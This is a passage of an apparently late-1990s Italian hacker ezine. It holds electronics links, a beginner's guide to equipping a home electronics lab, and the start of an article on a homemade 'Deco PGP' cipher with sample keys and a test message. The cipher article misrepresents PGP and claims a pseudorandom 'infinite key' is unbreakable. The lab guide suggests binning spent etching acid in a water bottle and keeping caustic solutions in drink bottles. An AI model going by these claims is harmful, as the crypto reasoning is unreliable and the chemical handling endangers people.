to the HOBBY ELECTRONICS home page! http://www.hobby-electronics.com/ WE-MAN! 's Electro Stuff http://margo.student.utwente.nl/el/ E per chiudere in bellezza vi consiglio un giro qui, la mia passione sfrenata , la mia fonte di meraviglia : i palyer di mp3 fatti in casa!!! CAJUN Car Audio Jukebox http://www.cajun.nu/ CarMP3 Links! http://www.javanet.com/~marceau/carmp3/ InMotion Car MP3 Player http://www.jarcom.com/inmotion/ Mp3 Car Webring http://nav.webring.com/cgi-bin/navcgi?ring=mp3car;list MP3Kit(tm).com http://www.mp3kit.com/ SoundBastard public domain mp3 decoder http://pages.hotbot.com/cooking/anton_verheijen/main.html Dato che adesso ho sonno, vado a dormire... Vi lascio con una bella riga di links da vedere, da esaminare, da mirrorare! Unico consiglio: ordinate tutto ciò che è free (sia cataloghi che sample ovvero prodotti omaggio in quantità limitate). A me personalmente è arrivato tutto dai cd ai cataloghi ai chip... Non mi resta che salutarvi ed augurarvi buona navigazione, ma prima di finire sono necessarii i saluti! Quindi saluto tutti i fratellini SpiPPoLaTori, tutte le crew italiane (s0ftpj, Newbies,Attila_Hack,A.i.S e tutti quelli che mi sono sicuramente dimenticato) e tutti coloro i quali mi hanno aiutato e mi aiutano ogni giorno a migliorarmi ed a migliorare sia la mia conoscenza sia il mio carattere di merda... Per chi si fosse perso le prime lezioni.... parte 1 : attrezzatura di base Wannabe numero 0 www.attilahack.cjb.net parte 2 : costruire un fotoincisore A.I.S numero 1 http://aisprod.tsx.org parte 3 : come incidere i circuiti in maniera veloce su qualche ezine (giuro che non ricordo + a chi lo ho mandato...) Piccola nota... La parte 3 la ho inviata a qualcuno di qualche ezine, non so più a chi, quindi appena possibile lo inserirò in Netrunners , la ezine del gruppo SpiPPoLaTorI , reperibile su www.spippolatori.com , a costo di fare un doppione... La mia memoria non è più quella di una volta... Per chiarimenti sono reperibile a rigormortem@spippolatori.com Salutoni, RigoR MorteM/SpiPPoLaTorI 98-99-2k #---[Come ti divento Elettronico]------------------------------------+RigoR MorteM+---# Come ti divento elettronico ovvero come trasformare la vostra camera in un laboratorio! Musica ascoltata : Cazzo : E...Iaculo Ergo Sum Nocturnal Rites : The sacred Talisman The chemical Brothers : Dig your Own hole Death SS : Black mess (si ringrazia Harlok di Spaghetti per aver fornito la colonna sonora, i vicini invece vorrebbero conoscerlo di persona :->>) Anzitutto devo fare le mie scuse a BoBo, al quale avevo promesso di fare un'articolo ma mi sono tremendamente dimenticato.Per farmi perdonare da lui e da tutta la crew (che saluto ciao ciao!) ho creato un piccolo vademecum su cosa un vero wannabe elettronico dovrebbe avere nella sua camera degli esperimenti.Tale camera di solito corrisponde alla camera del computer che a sua volta è la camera da letto.Chissà perchè mia madre non apprezza il mio ordine in camera? Mah... Non è che ho molto altro da dire se non che ho cercato di scrivere una cosa chiara e,sopratutto, di basso costo per tutti coloro i quali intendono avvicinarsi all'elettronica ma la pensano costosa.Alla fine troverete anche la sezione 'per i ricchi' ma anche quella è stata fatta in un'ottica molto 'genovese' come me , ovvero al risparmio!!! Cmq, cari wannabe, ecco un testo che io, agli albori ho sempre cercato e mai trovato, sono andato avanti per tentativi e per inculate, spero di risparmiarne almeno qualcuna a voi! E ricordate : le fiere dell'elettronica usata sono il meglio possibile se volete iniziare! Tanta scelta, tanto metriale, spesso usato, a cifre irrisorie! Ed ora, si vada ad iniziare , ma mistura vi vo a spiegare: -Saldatore (20-25Watt di potenza) 18-25.000 lire Questo è l'unico attrezzo irrinunciabile per iniziare e non lo potete sostituire con nulla! Vanno bene tutti i modelli a stilo (ovvero che si impugnao come una penna) per iniziare , sconsiglio quelli a pistola (costano la stessa cifra,sono più scomodi da maneggiare ed hanno potenze superiori).Se poi siete disposti a spendere qualcosina in più compratevi magari un porta saldatore (dalle 8.000 alle 15.000, con o senza spugnetta per pulire la punta del saldatore)o fate come me:usate un posacenere! Altra cosa: con poche lire in più (10.000 circa) comprate un saldatore che abbia le punte intercambiabili, non si sa mai che torni utile... -Stagno (sezione 1mm o meno) 1.600-5.000 lire Anche per questo, beh, non ne potete fare a meno! In commercio trovate stagno in tubetti da 50 grammi fino alle mega confezioni da 1Kg, a voi la scelta, anche se io ritengo che il miglior rapporto quantità/prezzo è il rocchetto da 500 grammi.Assicuratevi che lo stagno che comprate abbia della pasta dissaldante all'interno,ciò vi faciliterà la rimozione delle saldature venute male nonchè isolerà le saldature adiacenti. -Tronchesino (a punta dritta o curva) Beh, di questo ne potete fare a meno, in alternativa potete usare uno di quei tagliaunghie che vendono i marocchini a 5.000 lire oppure le forbici, ma è molto più comodo un tronchesino.Il prezzo va dalle 6.350 lira (alla Standa) fino alle 25.000 dei tronchesini della Usag dal ferramenta, a voi la scelta.Tenete presente che per iniziare è meglio disporre di un tronchesino a punta dritta. -Pinze (a becchi dritti o curvi) Vale lo stesso discorso del tronchesino, ne potere fare a meno,ma perchè privarvi di alcune comodità? Se decidete per l'acquisto prendetene uno con i becchi dritti e con molla, ne apprezzerete la comodità quando dovrete piegare i cmponenti!In alternativa potete usare le dita per piegare i componenti, ma per tenere i pezzi da dissaldare non è il massimo usare le dita, visto che la temperatura supera spesso i 100 gradi.Avete le mani di amianto? -Cacciavite antiinduttivo Questo piccolo attrezzo è un cacciavite di plastica a taglio e viene usato per tarare i componenti dei circuiti che in radiofrequenza, tipo le microspie.La particolarità di questo cacciavite, ed il suo pregio rispetto ad uno in metallo è il fatto che non conduce elettricità e quindi non falsa la taratura del circuito con la sua massa.Costa circa 2.000 lire nella versione più 'povera' e 15.000 nella versione 'lusso' ed ha la strana capacità di restare in giro per i cassetti fino al giorno che non vi serve, per poi sparire inspiegabilmente nel momento esatto nel quale ne avrete un bisogno disperato.Tenetelo sempre attaccato al bordo del cassetto con un pezzo di nastro isolante! -Basetta millefori Serve per il montaggio di prototipi di circuiti ma voi la potete usare per provare a saldare alcuni componenti, tanto per prendere confidenza con il saldatore e con lo stagno.Costa da 1.600 lira a 8.500 lire,a seconda della dimensione. Piccola nota per le vostre amiche o conoscenti:le basette di misura 7*10 cm sono ottime per la realizzazione di regalini di Natale creati con la tecnica del punto croce.Sul serio , non sto scherzando! Ieri mi è toccato comprare 20 basette di queste dimensioni per la mia ragazza,e quando ho detto al negoziante mio amico a cosa mi servivano, beh, mi ha sfottuto a morte, però devo dire che il primo regalino fatto con la tattica puntocorce/basettamillefori è venuto davvero bene! -Terza Mano (con o senza lente) Altro non è che un supporto con 2 o più pinzette a molla per sorreggere la basetta ed i componenti durante il montaggio.Le versioni più chic hanno anche in dotazione una lente orientabile, non è strettamente necessaria ma può sempre servire. Comunque, dato il basso costo (dalle 9.000 alle 14.000 lire) vi consiglio caldamente di comprarla! Per risparmiare potete sempre usare un paio di mollette da bucato (consiglio quelle vecchie in legno) tenute insieme con un'intelaiatura di filo di ferro.L'aspetto non sarà dei migliori ma funziona! -Tester Beh,oddio, non è che sia indispensabile, ma vi da un grosso aiuto, specie se siete agli inizi. Un tester vi serve per una valanga di cose: riconoscere il valore delle resistenze senza sapere a memoria lo schema dei colori (che prima o poi vi spiegherò),misurare voltaggi ed amperaggi in corrente continua ed alternata, provare casse acustiche o diodi led,sapere se 2 punti di un circuito sono in contatto o meno. In commercio ne esistono sostanzialmente di due tipi: analogici e digitali. I tester analogici hanno una semplice scala di valori lungo la quale si muove una lancetta, e tramite un commutatore a rotazione si seleziona la scala dei valori che vogliamo in lettura.Invece i tester digitali non hanno la lancetta ma un display a cristalli liquidi dove si legge il valore, il commutatore è uguale a quello degli strumenti analogici. Alcune cose utilissime in un tester , per chi inizia, sono il capacimento (per misurare il valore di un condensatore) ed il provatransistor (per sapere se un transistor funziona o meno, oltre che la disposizione dei suoi piedini).Alcuni tester di fascia media hanno anche un termomento incorporato, mente quelli di fascia elevata hanno pure il display grafico ma qui sono soldoni!Tenete presente che i tester hanno un prezzo che va da 15.000 lire per gli analogici a 1.300.000 lire per i digitali fighissimi.Io personalmente ne ho uno senza capacimetro e senza provatransistor e vivo bene.Dato che la mia ragazza me ne ragalerà uno per il mio compleanno regalerò il mio vecchio tester a N0body88 e per me comprerò un tester con tutte le moderne figare (display grafico escluso) alla tremenda cifra di 99.000 lire.Cmq, se non comprate tester di marca conosciuta ieri ne ho visto uno digitale con provatransistor a 25.000 lire.Meditate , gente, meditate! -Tubetti termorestingenti Se fate spesso dei lavoretti al volo con diversi fili 'sparsi' oppure se costruite qualcosa da interfacciare al pc e volete le saldature 'a prova di errore' potete usare loro! Sono dei tubicini di vario diametro che una volta scaldati si restringono del 50 % e vanno messi sopra il filo saldato in modo che coprano anche la saldatura e poi ristretti.Per stringerli potete usare un'accendino Bic con la fiamma stile 'lanciafiamme del Vietnam' per ottenere i migliori risultati.Sono venduti in spezzoni di 1 metro ed in diametri che vanno da 5 millimetri fino a 4 centimetri, con un costo variabile fra le 800 e le 4.000 lire a tubetto. -Vetronite ramata monofaccia Qui disegnerete i vostri circuiti! Perciò vi consiglio di comprare una lastra di vetronite delle dimensioni di 20cm per 30cm in modo da tagliare voi la quantità necessaria senza fare troppi sprechi.Il costo è di 14.500 lire circa.Per tagliare la vetronite potete usare le forbici da giardinaggio, o meglio, le cesoie. -Pennarello Stabilo OHPen universal nero oppure trasferelli Vi serve per creare-copiare i circuiti che volete realizzare sula basetta di vetronite ramata. Il pennarello è più veloce , ma i trasferelli hanno il vantaggio di avere già pronte ed alla spaziatura giusta tutte le piazzole per i circuiti integrati e per le porte a 9 ed a 25 pin.Nella mia zona i trasferelli sono diventati introvabili :-[ Il costo del pennarello è di 3.500 lire , per i trasferibili il costo è di 2.500 lire alla bustina. -Bacinella di plastica Vi serve per metterci il circuito da corrodere (ovvero incidere) con l'acido, allo scopo di eliminare il rame in eccesso e lasciare solo le piste disegnate con il pennarello o con i trasferibili.Io personalmente uso le bacinelle di polistirolo dei petti di pollo e dei petti di tacchino, non costano un cazzo e sono facilmente reperibili! -Acido per l'incisione Questo è l'elemento base per creare i propri circuiti! Logico che dovete averlo.Viene venduto in 2 diverse confezioni : in palline o liquido.Solitamente la bustina di palline contiene il cloruro ferrico necessario a 1 litro di soluzione di incisione e costa 4.500 lire.Invece se volete la soluzione già pronta la bottiglia costa circa 12.000 lire.Il liquido esausto (ovvero dopo 1-2 incisioni) va buttato via , ma non nel cesso, vo trovereste magari con le tubature incrostate!L'ideale sarebbe farlo seccare e poi buttarlo nella spazzatura ma se avete un minimo di astuzia nessuno vi vieta di metterlo in una bottiglietta da 0.33 di acqua e di buttarlo tranquillamente nella spazzatura.Piccola cosa importante: se comprate la bustina con le palline e vi preparate la soluzione in casa NON mettetela nella bottiglia dell'acqua o in quella del latte, se lo bevete vi ricoverano ! Usate , come me,il flacone vuoto dell'ACE, sarete così sicuri che non ve lo berrà nessuno.Cazzi vostri se poi vostra madre ne spruzza un po sulla camicia di papà per smacchiarla... Purtroppo l'acido è di colore marroncino, una volta asciutto è color vomito e non se ne va lavando... -Punte da trapano Beh, una volta che avete creato il vostro circuito lo dovete bucare per metterci i componenti. Le punte di solito sono da 0.8 mm oppure da 1mm , anche se io di preferenza uso bucare prima con le 0.6 e poi ripassare i buchi con le 0.8,in modo da centrare accuratamente il buco sulla piazzola. Le potete trovare presso qualsiasi negozio di ferramenta al costo variabile fra le 800 e le 3.000 lire cadauna.Se volete un consiglio, compratele di acciaio,durano di più e non si spuntano praticamente mai! *-* Per i ricchi *-* -Pompetta dissaldante Questa è un'altra comodità che io considero praticamente irrinunciabile.La pompetta è a forma di penna con la punta cava in teflon.A circa metà ha un bottone e alla sommità ha un pistone.Schiacciando il pistone si carica la molla ed il bottone si alza.Quando voi appoggiate la punta del saldatore al componente o al grumo di stagno che volete rimuovere,fate sciogliere lo stagno e immediatamente vi mettete la punta della pompetta e premete il bottone.Lo stagno sarà aspirato all'interno e risputato fuori alla successiva pressione del pistone.Questa cosetta costa dalle 15.000 alle 35.000 lire ma come al solito, si può risparmiare.Infatti in commercio c'è anche la famigerata 'treccia di rame' che altro non è che una treccia a 3 capi di filo di rame.L'uso è lo stesso della pompetta , costa meno ma non è così pratica. -Alimentatore Questo secondo me è il necessario per avere veramente una buona base e vi servirà sempre.Io ho usato alimentatori di diversi tipi ma ,sicuramente,il più usato è stato il classico 'cubo'.Dai, lo conoscete tutti, quel cubo nero con un filo ed una decina di spinotti per collegarlo al walkman o alla radio.Lo vendono un po da tutte le parti, dal tabacchino come alla Standa, pure i marocchini lo hanno!Il costo si aggira sulle 15/20.000 e vi trovate un alimentatore che per iniziare va più che bene: 1.5-3-4.5-6-9-12 volts , con selezionatore della polarità. Se poi invece avete qualche soldino in più vi consiglio un'alimentatore da banco con amperaggio e voltaggio regolabili, da 1.5 a 20 Volts e da 100mA a 2 o 3 A.Tenete presente che il costo è di circa 150.000 lirette... Se invece come me eravate dei drogati di 'Ferrovia Lego' potete riciclare quel trasformatore, che oltretutto ha pure un'uscita variabile :-] -Trapanino Vi serve per bucare i circuiti stampati che fate.In commercio pare ne esistano solo da 150.000 lire in su, non fatevi inculare! Ce ne sono di ottimi anche a 38.000 lire come il mio, e si alimentano a 12v, con circa 2 A di potenza. Logico che un trapano figo (al quale io faccio la voglia) ha il controllo della rotazione e della forza di rotazione , ma costa 180.000 :-[ Beh, vi danno pure le frese per incidere il legno ed il vetro. -Colonna per il trapanino L'unica che io abbia mai trovato costa 52.000 lire e non è poi quella gran cosa come pare dal disegno riportato sulla scatola.L'unica soluzione che io abbia trovato è quella di usare la colonna di un trapano 'normale' ma usata.Ne ho vista una presso un negozio di roba usata , ma costa 65.000.Per adesso uso ancora il trapanino con le mani.... -Stampante laser Logico che non vi dico di comprarla ma solo di poterla usare! Vi serve per stampare su acetato i disegni di circuiti stampati che farete con il computer.I fogli di acetato costano circa 900 lire cadauno ,chiedete fogli di acetato ma rifiutate i fogli da lucido! se invece volete copiare un circuito da una rivista la soluzione meno dispendiosa di tempo è quella di farsi fare una fotocopia su acetato, non dovete passare l'immagine allo scanner e poi stamparla.Il tutto al costo di 2.500 lire a copia. Piccolo consiglio: dal momento che non tutti fanno fotocopie su acetato,compratevene un po di fogli (Buffetti fa sconti per quantità) e portateveli dietro.Esigete sempre prima della stampa su acetato una stampa su carta normale, vi costa 200 lire anzichè 2.500 :-]]] Ah, con i pennarelli della TDK per scrivere su cd si fanno dei disegni meravigliosi su acetato! Ovvio che se il circuito è semplice e non vi va di fare una fotocopia potete sempre ricalcarvelo a mano con quei pennarelli. -Vetronite presensibilizzata positiva Questo tipo di vetronite vi permette di usarla in un fotoincisore senza prima doverla passare con una spruzzata di fotorivelatore positivo.Viene venduta nelle stesse misure della vetronite normale ma costa un pochino di più.Per esempio , il foglio da 20cm per 30 cm costa 20.000.La parte ramata è protetta da un foglio di carta plasticata o plasitca di colore solitamente nero che va levato in penombra (o sotto luce indiretta) e subito messa nel fotoincisore con sopra la stampa su acetato del circuito che volete realizzare.Per me è stato un ottimo investimento, ne vale la pena, ma dovete fare diversi esperimenti prima di trovare il tempo di esposizione giusto, pena la malriuscita del circuito. -Fotoincisore E qui si inizia a fare sul serio! Con un fotoincisore potete fare quante basette voltete, tutte uguali , in pochissimo tempo! Il rovescio della medaglia è il costo, ovvero di 350.000 circa. Se invece avete voglia di provare su www.futuranet.it c'è il kit di costruzione per fotoincisore e le relative lampade.Alla scatola ci dovete pensare voi, io ho risolto con una cassetta di aringhe salate e delle stecche di legno della pancetta salta.Se volete altri particolari vi rimando alla pagina di Anarchy in the System dell'amico Oldirion61 oppure al suo mirror presso www.spippolatori.com ,leggetevi la sua ezine e capirete come lo ho costruito (la prima release laho realizzata in una cassetta di pere...) spendendo 65.000 lire. Cmq, il fotoincisore vi permette, usando vetronite sensibilizzata positiva, di avere una qualità costante nel tempo.Infatti il circuito che volete produrre lo stampate su acetato, levate la pellicola protettiva dalla vetronite, appoggiate il disegno sulla basetta , accendete la luce del fotoincisore ed aspettate dai 4 ai 10 minuti, tutto dipende dalla distanza della basetta dalla luce, dalla qualità della basetta e dalla presenza o meno della luce esterna. Tenete presente che la costruzione è comunque facilissima, potete anche farvene uno semza pretese con una cassettadel vino e 4 neon normali, di quelli usati per l'illuminazione casalinga, ma i tempi aumentano di 3-4 volte.Va da se che il costo del fotoincisore della Futura Elettronica rispetto a quello fatto con dei neon normali è di circa il doppio. -Soda caustica Beh, si, so che è pericolosa, ma se avete di meglio proponete! Si usa in soluzione 12 parti su 1000 per sviluppare i circuti fotoincisi prima di passarli nel cloruro ferrico allo scopo di eliminare il velo di presensibilizzante positivo in eccesso sulla basetta.In commercio si trova sia la comune soda caustica che potete diluire voi in acqua sia la soluzione già pronta.Le cautele di manipolazione sono le stesse del cloruro ferrico ma dovete prestare ancora più attenzione al recipiente utilizzato, dato che la soluzione è trasparente e può essere scambiate per comune acqua!!! Se la bevate vi verrà una splendida voce da tracheotomizzato e mangerete pappine per tutta la vita... Il costo della bustina di soda (per 12 grammi di prodotto, ovvero per ottenere 1 litro di soluzione9 è di 2.500 lire.Il costo di un kilo di soda è di 6.000 lire dal ferramenta, ma poi sono cazzi vostri trovare chi vi pesa 12 grammi! Io non ho trovato nessuno e vado avanti a bustine...Altra piccola cosa: una volta usato il liquido non potete più riciclarlo, pena la parziale sviluppatura del circuito. -Bacinelle da fotografo Ma allora i soldini li avete! Beh, l'unico vantaggio che avrete usando le bacinelle da fotografo è che sono anzitutto inattaccabili dagli acidi e poi hanno il fondo con piccoli rilievi in modo che il circuito non ci si appiccichi.Costano 25.000 lire circa cadauna , ma io resto per i vassoi del petto di tacchino, sono grossi e scanalati nella stessa maniera, ma costano 25.000 in meno! -Stazione saldante/dissaldante ad aria calda Beh, ma allora mi prendete per il culo! Eh si, se volete iniziare a saldare non è che vi sia di grosso aiuto , ma se volete davvero spendere... Con questo saldatore potete saldare benissimo di tutto controllando con un display la temperatura dell'aria ed in più avete anche un sciogli/succhia stagno davvero professionale.Inutile dire che di hobbysti che la usano ne conosco davvero pochi e che ha un costo da paura! Dalle 650.000 in su, sempre più in alto, fino alla cifra di 3.750.000 lire. Le versioni davvero fighe hanno pure un pannello aspiratore che depura l'aria dato che lo stagno, fondendosi, sprigiona un'aroma non molto salubre. -Oscilloscopio Serve a misurare la forma d'onda dei segnali di un circuito ma in campo hobbystico sono pochi coloro che lo hanno. Il costo va da 350.000 per quelli portatili ad oltre 20.000.000.Meglio sfruttare l'oscilloscopio di un riparatore di tv! Infatti gli amici della TvSystem iniziano ad odiarmi :-]]] E mi fermo qui... Spero di avervi dato una buona panoramica di cosa vi può servire per iniziare a giocare con lo stagno e le saldature per realizzare magari una cosetta che funziona pure!Prima o poi, su questa zine o su un'altra, a seconda del mio stato mentale, vi scriverò ancora qualcosina sull'elettronica ,su come ottenere cataloghi di materiale utile in maniera gratuita, su come avere componenti gratis e come trovare circuiti on line, oltre ai link verso i migliori software di disegno cad elettronico per Windows.Per adesso vi saluto,voi lettori e tutta la crew dell'Attila_Hack sperando di non avervi annoiato! Per commenti, soldi, belle ragazze o per 2 chiacchere io sono RigoR MorteM , Webmaster di www.spippolatori.com e sono reperibile via email a rigormortem@spippolatori.com .Le belle ragazze invece possono prima scrivermi , con allegata una foto integrale (nude , arf arf!) e poi venirmi a trovare :-> #---[Deco PgP]-------------------------------------------------------+Master+---------# DECO PGP + END #___#___# -= Master =- ##SATOR## SPP MEMBER *** #AREPO# www.spippolatori.com #TENET# master@spippolatori.com #OPERA# ######### ########### #ROTAS# #################################################################################### # ################################################################################### # # # SISTEMA PERSONALE DI CODIFICA "ALFANUMERICA" A INTERAZIONE TRA CHIAVI MULTIPLE. # # ################################################################################### L'idea che sta alla base del PGP e' assolutamente innovativa per quanto riguarda la sicurezza: -cio' che serve alla decifrazione dei messaggi non solo non deve essere piu' tenuto segreto ma anzi diventa condizione necessaria la sua stessa pubblicazione da parte di colui che intende ricevere un messaggio segreto in tutta tranquillita'. Tra i tanti difetti di questo sistema (sempre pochi in relazione ai suoi tanti pregi) ne risaltano due a mio avviso importanti: 1. il fatto che ogni messaggio cifrato dovrebbe essere trasmesso sempre in linea diretta tra i due soggetti interlocutori altrimenti si rischia di avere un intermediario che potrebbe intercettare l'invio delle due chiavi specifiche e quindi passare a tentativi di decodifica dei messaggi con espedienti lunghi ma relativamente semplici. 2. i cifrati sono sempre uguali.. e questo permette di tentare dei bruteforce operativi al fine di estrarre le immagini delle chiavi applicate. Rendere allora i cifrati del pgp sempre e comunque diversi anche rispetto al medesimo testo cifrato N volte consecutivamente sarebbe un vantaggio non da poco. La soluzione quindi al difetto numero 2 che per reazione risolverebbe a pie' pari anche il numero 1. Quello che segue e' un esempio semplice (ma perfettamente funzionante) di come sarebbe facilmente possibile e con pochissime righe di programmazione costruirsi un simil PGP personalizzato con le migliorie di cui parlavamo. 1. e' necessario costruirsi una chiave pubblica e una privata. Il concetto di chiave pubblica e privata qui e' pero' diverso da pgp. Le chiavi vengono costruite in base ad un testo prefissato contenente dei dati che potrebbero essere le generalita' di chi utilizza il sistema ma volendo anche il brano di un racconto o altro. Viene creata una lista di numeri random sulla base di un efficiente generatore che sfrutta una mia personale miglioria ad un algoritmo chiamato "floridiano" col quale si possono ottenere serie di 2^8000 cifre diverse senza ripetizioni. Il testo viene sommato e di seguito recifrato all'interno della stessa lista random. Questo genera il modello delle chiavi .. sia di quella pubblica che di quella privata. Per la trasmissione di messaggi sara' necessario che tutti gli appartenenti ad un determinato gruppo posseggano comunemente quella che e' la chiave privata. Quest'ultima ovviamente andra' gelosamente custodita al riparo da occhi indiscreti. La chiave pubblica necessaria alla decodifica di un messaggio proveniente da uno dei membri del gruppo .. o la chiave pubblica specifica per la decodifica di un determinato messaggio sara' costruita volta volta e distribuita secondo le necessita'. Cosa fa il programma di diverso da pgp? 0: per prima cosa questo programma NON e' un emulo del PGP .. anzi .. i suoi criteri teorici di funzionamento si basano su concetti filosoficamente diversi. 1: Innanzitutto cifra i messaggi con l'applicazione di due chiavi successive generate sulla base dell'algoritmo floridiano per gli pseudocasuali naturali... quindi tutto viene cifrato una ultima volta col sistema della chiave random di lunghezza infinita. 2: Nel caso specifico sapendo di avere una lista di numeri random non ripetuta lunga -almeno- 2^8000 cifre si puo' esser certi che anche considerando di voler cifrare l'intera enciclopedia Treccani tre volte al giorno (cio' in media le stesse volte al giorno che mia moglie mi dice "no!" :)) ) per un centinaio di anni consecutivi lo si potrebbe fare ottenendo sempre cifrati diversi. 3: i cifrati non contengono informazioni utili sul carattere e la lunghezza dei sorgenti usati per la generazione delle chiavi ne informazioni matematiche -interessanti- relativamente alle chiavi stesse. 4: non c'e' nel cifrato nulla che possa far pensare ad un sistema evoluto di cifratura, anzi .. il testo viene lasciato nella sua formattazione originale con le frasi in maiuscolo sempre in chiaro (sono codificate infatti solo le lettere minuscole i numeri .. le maiuscole sono viste come 'commento') Cio' induce a pensare ad una semplice e banale applicazione di Rot o di Xor. A chi conosce parte del mio lavoro passato non potra' sfuggire il fatto che la base portante di questo programma e' il Deco (cifratore in uso agli spp per la corrispondenza privata) che sta al prodotto finito esattamente come l'algoritmo IDEA sta al PGP o il DES agli MC/SEA del PRICOD. 5: la sola applicazione del terzo passaggio di cifratura (la chiave random di lunghezza infinita) renderebbe il costrutto formale inviolabile a meno di non pubblicare involontariamente l'algoritmo stesso del generatore. E' infatti teoricamente impossibile risolvere un cifrato a chiave infinita a meno che non si conosca quest'ultima o in seconda istanza l'algoritmo che la genera. Si puo' dire allora che anche un cifrato avente una chiave applicata lunga almeno quanto il testo stesso rispetti in pratica la stessa regola. 6: le chiavi sono generate con soli caratteri alfanumerici minuscoli al fine di poter essere trasportate senza problemi all'interno di blocchi di testo anche solo con copia e incolla. 7: le chiavi sono 'non duplicabili' sulla base del punto 5 e del fatto che vengono create con lista random di "lunghezza infinita" dal generatore interno e in maniera sempre diversa. La duplice creazione di una chiave generata in relazione ad un particolare testo di header dara' quindi,a sua volta, due file completamente diversi! 8: .. qualche altra differenza magari a vantaggio del pgp ci sara' pure perche' chi lavora al Mit e' di solito carico di soldi e io invece non ho una lira. :)) [ per inciso al Mit mi hanno pure rifiutato a suo tempo .. hi hi hi ] NOTA BENE. LA versione che ho accluso a questo articolo permette di usare solo chiavi a 571 Bytes esatti .. (in memoria al vecchio Deco5 :)) ) .. I due successivi paragrafi di questo tutorial sono: a. Un esempio pratico applicativo del programma. b. La spiegazione dei moduli facenti parte del programma stesso. . - . ----------------------------------------------------------------------------------- a : Un esempio pratico applicativo. ----------------------------------------------------------------------------------- Il gruppo Z ha la necessita' di trasferire messaggi segreti ai suoi membri. I messaggi dovranno essere visibili in luogo pubblico e specificatamente diretti a un solo membro o a tutta la comunita'. Tutti i membri (e solo loro) saranno dotati della chiave privata del gruppo. [necessario per ricevere messaggi personali] Ogni membro dovra' avere per i messaggi la sua personale chiave privata da lasciare al gruppo stesso che dovra' tenerla segreta anche agli altri membri. [necessario per inviare messaggi personali] Ogni membro (ed anche il gruppo stesso) avra' una chiave pubblica da rendere nota a tutti .. anche ai non appartenenti al gruppo. [necessario per ricevere notizie collettive o messaggi da non appartenenti al gruppo] Fatto questo e non considerando possibili delazioni o buchi nella sicurezza del gruppo stesso si sa che: il possesso o il furto da parte di un non-appartenente al gruppo di una della chiavi inviate per la codifica-decodifica dei messaggi (magari assieme al messaggio stesso) non sara' di nessuna utilita' per la violazione dei medesimi. Per creare la chiave privata del gruppo si scrive un file di testo contenente nella prima riga il nome da attribuire alla chiave privata seguito dal numero di byte che intenderemo attribuire alla chiave stessa e da un blocco di testo contenente indicazioni generali sul gruppo. [ Il blocco di testo successivo al nome-chiave serve solo al generatore di pseudorandom come inizializzazione.. esattamente come il pgp chiede di digitare del testo a piacere per usare poi il range di tempo intercorso tra la pressione di un tasto e un altro. ] il file di testo del gruppo Z e' il seguente ---------------------------------- file PRI.DAT chiave.pri 571 GRUPPO Z Esegeti e ispirati dall'insolito Via Zuppola, 12 50029 Firenze Telefono: 055 123456 Fax: 0338 9283421 MOTTO DEL GROUPPO : ---------------------------------- file PRI.DAT si crea la chiave a 571 Bytes CHIAVE.PRI col comando: CREA PRI.DAT verra' creato il file CHIAVE.PRI. ---------------------------------- file CHIAVE.PRI INIZIO_CHIAVE__________________ szwlaaxkkdapqrmzlgrgstkfxxsbvtmpzhfunrsddfbppwgloxjetk fwippybliyinjjyrwqtsntolvtpytdbvoysfsfuldrsgbthznvkdks osmridzgzewmxotdixenhvhyypjluwkiqnqpoyddtpqmzdooswlkii vrbhbnrkmihimkoomicjeeeehrswvbmxngaxvvnlhtmcvswnagdpnh gkwfjdojovibmynzunesymqdpczacusftbyrmifbxinbfcmfzjwsik bdedqmgjwqaxkryugbzajkmsqgimeeedxrmybyntcspmrihbguixqi ofpohllsenhabiqmbguicqbrtxrmeesdhyaldsseshpbvbzaiefrhy qqjjiqxchnnzmlagupekkgwrtqxqibyrzcurpvcezaxjcbdjdahplx tlzqosogimpjdfgfiujxwikspyonzkiuhhsqnejmipoogsbieffqbq mtmlldwiwtqapqncviuynssgvsthcuvwtwwkxubpuwutxjhelzuvyx kubdbruopepzqphrvtvtwelvtdocfei FINE_CHIAVE____________________ ---------------------------------- file CHIAVE.PRI .. sara' questa la chiave che dovra' restare nascosta ed in possesso a tutti i membri del gruppo Z. Ogni utente si dovra' costruire analogamente una propria chiave privata ed una pubblica. Il membro Pippo Torsali (sembra un anagramma eh!? :)) ) si creera' una chiave pubblica col seguente file di testo ---------------------------------- file PUB.DAT chiave.pub 571 Pippo Torsali Tel: 0338 812399231 Fax: 0293 123981238 sbirulo, 45 66232 Digrumaioterme PI Pressi podere 28/r SATOR AREPO TENET OPERA ROTAS ---------------------------------- file PUB.DAT digitera' CREA PUB.DAT creando il file CHIAVE.PUB ---------------------------------- file CHIAVE.PUB INIZIO_CHIAVE__________________ pjmmcovvrkogvhybfbdwiznrfnrgqjarjxtymjmbaqfrbmxvrpbklh ieyhqforwtwhiwnrpavtdconpxzgdccrfzkpbmoulkqdlhfyhiwzme ielydwgpyrvnyjqyogkdtjcugrixxkqfcvhxwccdsyysbrggaltyna wgfkyorgzuvhhyosnlzotdvhuuigejocgvqnrzkasqlyxjmknxjlik pmduujljmjprgsrqwmwubucejxvxbzdzrxvcwjszojfveshkwsysvi uwybaktynlwcfxozqivvowzwnpjgvherrlnykiiteghufdhanpwdzh iwcuvwyyyzbqmbdoiicmslnlqjukodwowlpjwboixrtyjupugdbvty iyotxaseoneluzacwqhgsfvqexmaepitnjcenylhobuovjjhpvmaoy ovqovqxmtuboaeohrzptoihnpsrbnftraetnactkrrrdoeumsmuzdy ggmeojujjmpbqjpswykjouptronceckxiumwtmoyjqsehngvljlqfx gectdswurgtjfahmpkqrkuazhdgtmfz FINE_CHIAVE____________________ ---------------------------------- file CHIAVE.PUB La chiave pubblica di Pippo Torsali verra' appunto resa-pubblica. Possibili scenari: Pippo Torsali vuole spedire un messaggio riservato al gruppo: Si creera' un file di testo col messaggio .. es: ----------------------------------- file MESSAGGIO.TXT The next day, religious leaders again met with Pilate. They said Jesus had predicted He would rise in three days. To assure that the deciples could not conspire in a resurrection hoax, Pilate ordered the official seal of Rome to be attached to the tomb to put graverobbers at notice. To enforce the order, soldiers stood guard. Any deciple who wanted to tamper with the body would have had to get by them, which wouldn't have been easy. The Roman guards had good reason for staying alert-the penalty for falling asleep while on watch was death. ----------------------------------- file MESSAGGIO.TXT quindi lo cifrera' con COD messaggio.txt chiave.pri chiave.pub dove chiave.pri sara' la chiave privata del gruppo e chiave.pub la sua chiave pubblica creata al momento dell'invio del messaggio e da inviare col messaggio stesso. .. una stessa chiave generera' cmq sempre cifrati diversi! il programma COD generera' un file contenente il cifrato chiamandolo appunto CIFRATO ------------------------------------- file CIFRATO.TXT Tpv xuas bbt, vokeqgkbk prhsshs qkyxd 